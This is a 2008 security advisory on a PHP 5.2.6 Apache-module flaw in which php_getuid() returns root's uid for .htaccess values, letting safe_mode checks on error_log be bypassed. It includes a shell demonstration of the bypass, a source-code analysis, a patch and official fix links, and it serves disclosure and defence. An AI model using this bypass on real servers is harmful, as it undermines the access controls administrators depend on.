[ PHP 5.2.6 SAPI php_getuid() overload ]
Author: Maksymilian Arciemowicz
Date:
- - Written: 20.11.2008
- - Public: 05.12.2008
Risk: High
Affected Software: PHP 5.2.6
Vendor: http://www.php.net
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
http://pl.php.net/manual/pl/refs.utilspec.server.php
- --- 1.PHP 5.2.6 SAPI php_getuid() overload ---
Using PHP 5.2.6, as a Apache module can bypass many security points. To understand this issue, first we need know, where is the problem.
127# cd /www/trafka
127# ls -la
total 12
drwxr-xr-x 2 www www 512 Sep 10 03:49 .
drwxr-xr-x 4 www www 512 Sep 10 03:41 ..
- -rw-r--r-- 1 www www 26 Sep 10 03:49 .htaccess
- -rw-r--r-- 1 www www 33 Sep 10 03:49 not.php
- -rw-r--r-- 1 www www 107 Sep 10 03:49 pufff.php
- -rw-r--r-- 1 www www 27 Sep 10 03:49 sleep.php
127# cat .htaccess
php_value error_log /etc/
127# cat not.php
<?php
echo "only echo\n";
?>
127# cat pufff.php
<?php
echo "safe_mode=".ini_get("safe_mode")."\n";
echo "error_log=".ini_get("error_log")."\n";
?>
127# cat sleep.php
<?php
sleep(60*2);
?>
127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/not.php
only echo
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127#
Now error_log is empty
Example exploit:
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/sleep.php
^C
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
any new "apache child" process, allow overload environment like error_log.
127# apachectl restart
/usr/local/sbin/apachectl restart: httpd restarted
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=/etc/
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# curl http://localhost/trafka/pufff.php
safe_mode=1
error_log=
127# ps -aux -U www
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6362 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6363 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6364 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
www 6365 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
127#So what is wrong?
Let's try to understand this problem. Let's start with a difference
www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
and
www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd
RSS: 14288-14248 = 40
memory leak? No.
In first request, we have declared error_log, via .htaccess.
- --- main/main.c ---
...
STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals)
...
- --- main/main.c ---
goto OnUpdateErrorLog
- --- main/main.c ---
...
static PHP_INI_MH(OnUpdateErrorLog)
{
/* Only do the safemode/open_basedir check at runtime */
if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) &&
strcmp(new_value, "syslog")) {
if (PG(safe_mode) && (!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR))) {
return FAILURE;
}
if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) {
return FAILURE;
}
}
OnUpdateString(entry, new_value, new_value_length, mh_arg1, mh_arg2, mh_arg3, stage TSRMLS_CC);
return SUCCESS;
}
...
- --- main/main.c ---
(!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR)) <==> False
deeper into safe_mode.c, function php_checkuid()
- --- main/safe_mode.c ---
...
uid = sb.st_uid;
gid = sb.st_gid;
if (uid == php_getuid()) {
return 1;
...
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
...
- --- main/safe_mode.c ---
php_getuid() does not return the correct value at the time of checking safe_mode
for "/etc/"
First request
uid = php_getuid() <==> True
0 <=> uid <=> php_getuid() <==> True
Next request:
uid = php_getuid() <==> False
0 <=> 80 <==> False
because
80 (www uid) = php_getuid()
0 = uid (/etc/ owned by root)
- --- ext/standard/pageinfo.h ---
...
extern long php_getuid(void);
...
- --- ext/standard/pageinfo.h ---
- --- ext/standard/pageinfo.c ---
...
long php_getuid(void)
{
TSRMLS_FETCH();
php_statpage(TSRMLS_C);
return (BG(page_uid));
}
...
- --- ext/standard/pageinfo.c ---
- --- ext/standard/pageinfo.c ---
...
pstat = sapi_get_stat(TSRMLS_C);
if (BG(page_uid)==-1 || BG(page_gid)==-1) {
if(pstat) {
BG(page_uid) = pstat->st_uid;
...
- --- ext/standard/pageinfo.c ---
php_getuid() will return corrected value, after first request.
Let's see to SAPI.c
- --- SAPI.c ---
...
SAPI_API struct stat *sapi_get_stat(TSRMLS_D)
{
if (sapi_module.get_stat) {
return sapi_module.get_stat(TSRMLS_C);
...
- --- SAPI.c ---
for apache 1.3.41, mod_php5.c
- --- mod_php5.c ---
...
/* {{{ php_apache_get_stat
*/
static struct stat *php_apache_get_stat(TSRMLS_D)
{
return &((request_rec *) SG(server_context))->finfo;
}
...
- --- mod_php5.c ---
SG(server_context) <=> 0x0
that same situation in sapi_apache2.c for Apache2
Where is problem? In:
if (BG(page_uid)==-1 || BG(page_gid)==-1)
For varibles in .htaccess, BG(page_uid) isn't set.
(BG(page_uid)==-1 || BG(page_gid)==-1) <==> False
=>
( BG(page_uid) <=> 0 <=> BG(page_gid) ) <==> True
uid(0) <=> root
for the values of the .htaccess
This analysis was for variable error_log. We can not determine all the possible use of this error.
There are other potential uses this issue. We are not going to release a official exploit to the general public.
- --- 2. How to fix (proof) ---
5.2.7
proof:
0 Step. Add, into main/main.c
- --
static PHP_INI_MH(OnUpdateErrorLog)
{
/* Only do the safemode/open_basedir check at runtime */
+ BG(page_uid)=-2; // -2 isnt registred
+ BG(page_gid)=-2; // -2 isnt registred
- --
1 Step. Add, into pageinfo.c, end of the main loop in php_statpage()
- ---
- - }
+ } else if (BG(page_uid)==-2 || BG(page_gid)==-2) {
+ BG(page_uid) = getuid();
+ BG(page_gid) = getgid();
+ }
- ---
It is fix ONLY for error_log in .htaccess.
Official fix
http://cvs.php.net/viewvc.cgi/php-src/sapi/apache/mod_php5.c?r1=1.19.2.7.2.15&r2=1.19.2.7.2.16&diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/basic_functions.c?r1=1.725.2.31.2.78&r2=1.725.2.31.2.79&diff_format=u
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1340&r2=1.2027.2.547.2.1341&diff_format=u
- --- 3. Contact ---
Author: Maksymilian Arciemowicz